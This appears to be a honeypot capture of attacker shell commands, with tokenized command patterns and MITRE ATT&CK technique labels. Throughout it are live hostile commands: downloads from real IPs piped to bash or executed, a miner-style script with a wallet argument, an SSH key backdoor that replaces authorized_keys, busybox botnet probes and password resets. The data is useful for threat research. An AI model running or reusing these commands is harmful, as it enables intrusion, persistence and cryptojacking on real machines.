cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /;/bin/busybox echo -ne '\x45\x4c\x46'

/bin/busybox wget;/bin/busybox echo -ne '\x45\x4c\x46'

('start', 'enable', 'config', 'system', 'linuxshell', 'su', 'shell', 'sh', 'cd || cd || cd || cd || cd || cd ; /bin/busybox echo -ne', '/bin/busybox wget ; /bin/busybox echo -ne', 'cd || cd || cd || cd || cd || cd ; rm -rf ; wget ; curl -O ; /bin/busybox wget ; chmod || ( cp ; cat > ; rm ; cp ; rm ) ; ./ ; echo -e')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JNTWQ

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo $i ; done <', '/bin/busybox', 'rm ; tftp -l.i -r.i -g ; chmod ; ./ ; exit')


('sh', 'enable', 'shell', 'debug', 'cmd', 'wget -O- | sh ; curl -O- | sh', 'echo')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox NDTAR


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


/ip cloud print
ifconfig
uname -a
cat /proc/cpuinfo

T1016 System Network Configuration Discovery


yum install wget -y; apt install wget -y; cd /tmp/; rm -rf x86_64; rm -rf x86; wget http://2.56.59.225/x86_64; chmod 777 x86_64; ./x86_64 x86

('yum wget -y ; apt wget -y ; cd ; rm -rf ; rm -rf ; wget ; chmod ; ./',)


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox EVOUC


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'Enter', 'echo | passwd')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo -e | passwd | bash', 'Enter', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox PLNLF


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox GSIKH


('sh', 'enable', 'shell', 'debug', 'cmd', 'wget -O- | sh ; curl -O- | sh')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox NKLAR

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo $i ; done <', '/bin/busybox', 'rm ; exit')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo -e | passwd | bash', 'echo | passwd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox TPEZR


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox LVUOX


cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


('cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep')


('start', 'enable', 'config', 'system', 'linuxshell', 'su', 'shell', 'sh', 'cd || cd || cd || cd || cd || cd ; /bin/busybox echo -ne', '/bin/busybox wget ; /bin/busybox echo -ne', 'cd || cd || cd || cd || cd || cd ; rm -rf ; wget ; curl -O ; /bin/busybox wget ; chmod || ( cp ; cat > ; rm ; cp ; rm ) ; ./ ; echo -e')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox SWQIV


T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery


T1222 File and Directory Permissions Modification


T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash')


('sh', 'enable', 'shell', 'debug', 'cmd', 'wget -O- | sh ; curl -O- | sh', 'echo')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox UPJGQ


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox KYSAG


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ICWXL

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


T1027 Obfuscated Files or Information
T1082 System Information Discovery


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox CHPAG


cd /tmp && chmod +x 5RcJ2tf9 && bash -c ./5RcJ2tf9


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ELNFF


('sh', 'enable', 'shell', 'debug', 'cmd', 'wget -O- | sh ; curl -O- | sh')


('cd || cd || cd || cd || cd ; wget ; curl -O ; chmod ; sh ; tftp -c ; chmod ; sh ; tftp -r -g ; chmod ; sh ; ftpget -v -u -p -P ; sh ; rm -rf ; rm -rf',)


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JAAMC

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo $i ; done <', '/bin/busybox', 'rm ; exit')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox NQFBI


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox AUNJK


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox BAJIY


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox LQKDM


cd /tmp && chmod +x PHri0doL && bash -c ./PHri0doL

('scp', 'cd && chmod +x && bash -c ./', './PHri0doL')


cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'Enter', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


uname -a;lspci | grep -i --color 'vga\|3d\|2d';curl -s -L http://222.100.89.36/stx.sh | LC_ALL=en_US.UTF-8 bash -s 4AXp4BAFuqCUNLJ3X12FKg7jp9MQjiMeWG1bMme9znFNPvhP2LqGXUF5pEfaeMQ7FAArXVWnUAEEMF2Kms6xzjMGVagomWr

('uname -a ; | grep -i --color | ; curl -s -L | bash -s',)

T1087 Account Discovery
T1120 Peripheral Device Discovery
T1105 Ingress Tool Transfer
T1027 Obfuscated Files or Information
T1059 Command and Scripting Interpreter


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RDFFK


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JPHLE


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox EOANH

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox SYQQE


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox VQFWF


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


echo -e '\x67\x61\x79\x66\x67\x74'
enable
shell
sh
ping;sh

('echo', 'enable', 'shell', 'sh', 'ping ; sh')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RVZTI


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox DHTDH


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox BSIHR


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JYSMX

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo $i ; done <', '/bin/busybox', 'rm ; exit')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox CACBS

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo $i ; done <', '/bin/busybox', '> ; cp', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', './ > ; chmod ; ./ ; rm ; exit')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox FKAKM


cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo -e | passwd | bash', 'echo | passwd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox EODDQ


('cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox FHSUW


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo -e | passwd | bash', 'echo | passwd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox OAMMR


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox TNIBX

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


